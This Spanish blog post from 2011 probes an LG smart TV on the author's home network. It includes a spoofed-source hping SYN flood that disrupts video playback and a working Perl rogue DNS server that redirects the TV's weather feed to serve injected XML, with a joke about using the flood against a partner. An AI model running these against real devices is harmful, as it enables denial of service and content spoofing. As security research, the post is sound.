miércoles, 2 de marzo de 2011

Hacking LG TV for fun and profit!

Hacking LG TV for fun and profit!: "
Aprovechando uno de los días sin IVA de Mediamarkt, y teniendo en mente un cambio de TV (la anterior no tenía ni TDT integrada), volvimos a casa con una LG más moderna. Ya puestos, esta es algo más grande que la anterior, y como le confesé a Chema Alonso en la entrevista que me hizo, este año estará genial seguir la temporada de Fórmula 1 en el salón!



Según miraba la TV en Mediamarkt, me preguntaba a mí mismo para qué valdría el conector RJ-45 que se le veía detrás, y ya me picaban los dedos por conectarla en casa a ver qué habían dejado los ingenieros de LG a disposición de todo el mundo



Así, después de ver que todo funcionaba, configuré la red cableada de la TV con la IP 192.168.52.50 y con default gateway y DNS 192.168.52.254 (la máquina de casa que hace de UTM). Os doy estos datos para poneros en situación de lo que veréis que ocurre después.



Así pues… siguiendo el capítulo 0 del 'Manual del buen auditor' el primer sencillo nmap lanzado (nmap -v -sT -sV -A -O -p1-65535 -P0 192.168.52.50) devuelve que no hay puertos abiertos. Leyendo el manual (esta vez el de la TV), se dice que puede reproducir contenidos digitales compatibles con DLNA (Digital Living Network Alliance) que estén en la misma red. DLNA funciona como UPnP, es decir, que los dispositivos 'se anuncian' que existen en la red mediante el puerto 1900 UDP a una IP de Multicast… Curioso es que al buscar contenidos por la red desde el menú de la TV, al lanzar el siguiente nmap apareciera lo siguiente:



[root@Carmen ~]# nmap -v -sT -sV -A -O -p1-65535 -P0 192.168.52.50
Interesting ports on 192.168.52.50:
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
33255/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port33255-TCP:V=4.20%I=7%D=2/19%Time=4D5EFE64%P=i686-redhat-linux-gnu%r
SF:(GetRequest,F4,"HTTP/1\.1\x20500\x20Internal\x20Server\x20Error\r\nSERV
SF:ER:\x20Linux/2\.6\.31-1\.0\x20UPnP/1\.0\x20DLNADOC/1\.50\x20INTEL_NMPR/
SF:2\.0\x20LGE_DLNA_SDK/1\.5\.0\r\nCONNECTION:\x20close\r\nCONTENT-LENGTH:
SF:\x2060\r\nCONTENT-TYPE:\x20text/html\r\n\r\n
500\x20Internal\x20Server\x20Error)(HTTPOptions,E8,"HTTP/1\.
SF:1\x20501\x20Not\x20Implemented\r\nSERVER:\x20Linux/2\.6\.31-1\.0\x20UPn
SF:P/1\.0\x20DLNADOC/1\.50\x20INTEL_NMPR/2\.0\x20LGE_DLNA_SDK/1\.5\.0\r\nC
SF:ONNECTION:\x20close\r\nCONTENT-LENGTH:\x2054\r\nCONTENT-TYPE:\x20text/h
SF:tml\r\n\r\n

501\x20Not\x20Implemented

MAC Address: 00:E0:91:VV:XX:ZZ (LG Electronics)
No exact OS matches for host (If you know what OS is running on it, see http://insecure.org/nmap/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=4.20%D=2/19%OT=33255%CT=1%CU=38930%PV=Y%DS=1%G=Y%M=00E091%TM=4D5E
OS:FECD%P=i686-redhat-linux-gnu)SEQ(SP=BB%GCD=1%ISR=C4%TI=Z%II=I%TS=A)SEQ(S
OS:P=BB%GCD=1%ISR=C5%TI=Z%II=I%TS=A)OPS(O1=M5B4ST11NW5%O2=M5B4ST11NW5%O3=M5
OS:B4NNT11NW5%O4=M5B4ST11NW5%O5=M5B4ST11NW5%O6=M5B4ST11)WIN(W1=16A0%W2=16A0
OS:%W3=16A0%W4=16A0%W5=16A0%W6=16A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW5%C
OS:C=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%
OS:T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD
OS:=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=4
OS:0%TOS=C0%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUL=G%RUD=G)IE(R=Y%DFI
OS:=N%T=40%TOSI=S%CD=S%SI=S%DLI=S)

Uptime: 0.117 days (since Fri Feb 18 21:32:27 2011)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=187 (Good luck!)
IPID Sequence Generation: All zeros

OS and Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap finished: 1 IP address (1 host up) scanned in 119.277 seconds
Raw packets sent: 126 (9832B) | Rcvd: 66 (6092B)


Ahora sí que tienes un puerto abierto TCP??? ¿Qué correrá en él?



[root@Carmen ~]# telnet 192.168.52.50 33031
Trying 192.168.52.50...
Connected to 192.168.52.50 (192.168.52.50).
Escape character is '^]'.
GET / HTTP/1.1

HTTP/1.1 400 Bad Request
SERVER: Linux/2.6.31-1.0 UPnP/1.0 DLNADOC/1.50 INTEL_NMPR/2.0 LGE_DLNA_SDK/1.5.0
CONNECTION: close
CONTENT-LENGTH: 50
CONTENT-TYPE: text/html


400 Bad Request

GET / HTTP/1.0

HTTP/1.1 500 Internal Server Error
SERVER: Linux/2.6.31-1.0 UPnP/1.0 DLNADOC/1.50 INTEL_NMPR/2.0 LGE_DLNA_SDK/1.5.0
CONNECTION: close
CONTENT-LENGTH: 60
CONTENT-TYPE: text/html


500 Internal Server Error

GET / HTTP/0.9

HTTP/1.1 500 Internal Server Error
SERVER: Linux/2.6.31-1.0 UPnP/1.0 DLNADOC/1.50 INTEL_NMPR/2.0 LGE_DLNA_SDK/1.5.0
CONNECTION: close
CONTENT-LENGTH: 60
CONTENT-TYPE: text/html


500 Internal Server Error
^[^]
telnet> quit
Connection closed.



Un servidor web?! Se comporta diferente dependiendo de la versión HTTP que usemos (0.9, 1.0 ó 1.1). Por la respuesta, sólo soporta peticiones HTTP 1.1, pero no permite ni una simple petición GET. ¿Tendrá vulnerabilidades? Googleando aparecen entradas sobre las capacidades DLNA (el plugin DLNADOC/1.50 que aparece en la cabecera). He de decir también que en sucesivas pruebas, el puerto abierto detectado cambiaba, en general a 33031 TCP. Aquí referenciaré siempre 33255 para mantener la coherencia.


El sentido común dice que un servidor web, si tiene alguna vulnerabilidad, la fantástica herramienta Nikto, lo sabrá. [DISCLAIMER] Esta prueba fue lanzada mientras mi novia veía la tele, por lo que, el comportamiento que vais a leer/ver ahora lo detecté por casualidad, pero mi cara fue algo así :O [/DISCLAIMER]


Ejecutando perl nikto.pl -host http://192.168.52.50:33255 -C all, el programa empieza a probar vulnerabilidades conocidas indicándonos si ha tenido éxito o no en cada una de ellas.


Mientras se ejecutaba esta herramienta, mi novia, muy aficionada a hacer zapping con el mando, llegó un momento en el que, al cambiar de canal, la TV mostraba durante unos 2 segundos la imagen, y se quedaba sin señal. He reproducido varias veces la situación y la podéis ver bajo estas líneas:






Aunque se pare la ejecución de la herramienta, hasta que no se reinicia la TV, no volverá a su comportamiento normal. Es decir, ¿el funcionamiento de la TV puede verse afectado dependiendo de lo que le hagas a su interfaz de red? Por ello, quise probar si era capaz de hacer algún otro tipo de denegación de servicio basado en estresar la tarjeta de red. ¿Qué pasaría si por ejemplo utilizara las capacidades de Flooding de Hping? Si no os acordáis de todas las opciones que tiene hping, podéis echar un vistazo al cheatsheet que comentamos aquí.


Una vez lanzado a ejecución la línea 'hping -p 33255 --flood -a 192.168.52.254 -S 192.168.52.50" la TV empezará a recibir una inundación de paquetes por su interfaz de red que la estresará tanto que seará incapaz de reproducir correctamente el video!! El audio se oye bien, pero el video no se decodifica como tiene que ser. Lo podéis ver en el siguiente video:






En este caso, si paramos la ejecución de Hping, la TV hará su trabajo correctamente, sin perder fotogramas, sin necesidad de reinicios.


Buscando otros vectores de ataque

Netcast es la aplicación de LG que nos presenta el portal de acceso a los contenidos digitales desde la TV permitiéndonos ver videos Youtube, conectarnos a Facebook, Twitter, el informe meteorológico con Accuweather, Google Maps, etc,… Dicho portal ofrece la posibilidad de hacer que, en su momento de carga, presente la temperatura de una ciudad y la hora de la medición. Podéis ver un ejemplo de esto en la siguiente imagen:










La idea ahora es analizar el funcionamiento y personalizar aún más ese portal. Siguiendo el 'manual del buen juanker' nuevamente, procedemos a analizar el tráfico de red que efectúa la TV desde que la encendemos y accedemos al menú Netcast. Para ello, utilizando la herramienta Tshark (la utilidad de línea de comandos de Wireshark) analizamos el tráfico de red que intercambia la TV con el exterior para obtener la información meteorológica.. Mediante la línea: 'tshark -i eth1 host 192.168.52.50 -V -w /tmp/tsharklg' obtendremos un fichero pcap que luego podremos analizar cómodamente con Wireshark (si alguien quiere que le envíe el pcap, que me lo pida).


Os cuento las conclusiones obtenidas de ese análisis:

  1. Lo primero que hace la TV es intentar resolver por DNS la dirección www.lge.com

  2. Una vez que resuelve, se conecta a esa IP al puerto TCP 80 y si obtiene una respuesta satisfactoria 'detecta que tiene conexión a Internet'.

  3. Una vez que entramos en el menú Netcast con el mando, se conecta a http://lgtv.accu-weather.com/widget/lgtv/weather-data.asp… con un montón de parámetros que devuelve un XML que posteriormente la TV parseará y mostrará en pantalla.



Bueno, pues ya tenemos las condiciones necesarias para el caldo de cultivo de una bonita inyección que genere un panel diferente.


Es increible que la TV necesite conectarse periódicamente a www.lge.com para saber si tiene o no Internet. Hice la prueba a nivel de firewall saliente (en 192.168.52.254) y bloqueé la IP a la que intenta conectarse la TV. Efectivamente, la LG se queja en un mensaje de error que no hay acceso a Internet y que verifique la conexión. El día que el servidor web de lge.com no esté accesible, para todos los dispositivos LG mundiales que ejecuten NetCast, no habrá Internet!


Analizando la petición web que hace a accu-weather.com y la respuesta en un XML, para llevar a cabo la inyección tendremos que disponer de un servidor web accesible por la TV y modificar la resolución DNS de accu-weather.com por la del servidor web propio. Si nuestro servidor DNS nos permite añadir entradas (no hace simplemente de relay/caché de DNS) lo haremos así. Para ello deshabilité en la máquina 192.168.52.254 el servicio DNS caché y utilicé una implementación de servidor DNS hecha en Perl muy sencillita que permite añadir manualmente qué queremos que se resuelva:


En mi caso, quedó así:


[root@Carmen ~]# more /tmp/dns.pl
#!/usr/bin/perl

use Net::DNS::Nameserver;
use strict;
use warnings;

sub reply_handler {
my ($qname, $qclass, $qtype, $peerhost,$query,$conn) = @_;
my ($rcode, @ans, @auth, @add);

print "Received query from $peerhost to ". $conn->{"sockhost"}. "\n";
$query->print;


if ($qtype eq "A" && $qname eq "lgtv.accu-weather.com" ) {
my ($ttl, $rdata) = (3600, "192.168.52.17"); #SI ALGUIEN NOS PIDE RESOLUCION DE LGTV.ACCU-WEATHER.COM DEVOLVEMOS LA IP DEL WEBSERVER
push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
$rcode = "NOERROR";
}elsif( $qname eq "www.lge.com" ) {
my ($ttl, $rdata) = (3600, "93.188.132.129"); #Importante añadir la resolución de www.lge.com porque si no dirá que no hay acceso a Internet!!!!
push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
$rcode = "NOERROR";

}else{
$rcode = "NXDOMAIN";
}


# mark the answer as authoritive (by setting the 'aa' flag
return ($rcode, \@ans, \@auth, \@add, { aa => 1 });
}

my $ns = Net::DNS::Nameserver->new(
LocalPort => 53,
ReplyHandler => \&reply_handler,
Verbose => 1,
) || die "couldn't create nameserver object\n";

$ns->main_loop;


Así pues en la IP 192.168.52.17 levanté un servidor web, que devolvería en /widget/lgtv/weather-data.asp el siguiente XML:


[root@Test ~]# more /var/www/html/widget/lgtv/weather-data.asp


C
KM
KPH
kPa
MM

FailLand
Spain
40.4
-3.68
17:32
01:00
1
False


http://www.accuweather.com/m/en-us/EUR/ES/SP013/Madrid/current.aspx?p=lgtv
SecurityByDefault tenemos 2858 Followers en Twitter
21
20
30%
Sunny
01
4
4
SW
0.0
Low
…..
SNIP


De esta manera, la siguiente vez que entráramos en el menú Netcast de la TV, nos sorprendería de la siguiente manera:







Conclusiones

  • La TV LG es increible en cuanto a capacidades y prestaciones. Se ve y oye genial y estoy seguro que disfrutaré como un vikingo de las carreras de Fórmula 1!

  • Los ingenieros de LG han hecho un buen trabajo en la securización de la misma, al menos 'de serie', puesto que hay que dedicarle un buen rato para encontrarle 'cosillas'

  • Quizá sería interesante no haber incluido procesadores autónomos para la decodificación de la señal de TDT y el procesamiento del tráfico de red, a fin de evitar que una inundación de paquetes influyera en la decodificación o el refresco de pantalla.

  • Una pista falsa que seguí fue el intentar meterle mano a la funcionalidad DLNA. Desde un PC con un servidor DLNA, detecta que la TV está en la red, pero no permite ejecución de comandos ese dispositivo DLNA.

  • Para conseguir inyectar el texto deseado en el portal de entrada de Netcast hay que tomarse unas cuantas molestias, aunque oye siempre es divertido el tener un servidor que te genere un XML con información personalizada y acutalizada en el campo 'observationtime' y enterarte en la TV cuando quieras.

  • Ahora ya sé qué medidas tomar cuando mi novia monopolice el mando a distancia de la TV y no compartamos el gusto por lo que estén dando en ese canal. Hping es mi amigo!

  • He visto las etiquetas de 'Warranty void if this seal is broken', sin embargo, en ningún sitio pone que se invalide la garantía por darle un poco de caña al interfaz de red, ¿verdad?

  • Después de que sustituyeran CNN+ en español por Canal Gran Hermano pensé que la tele sería un coñazo… ¿Quién dijo ahora que la TV es aburrida?

"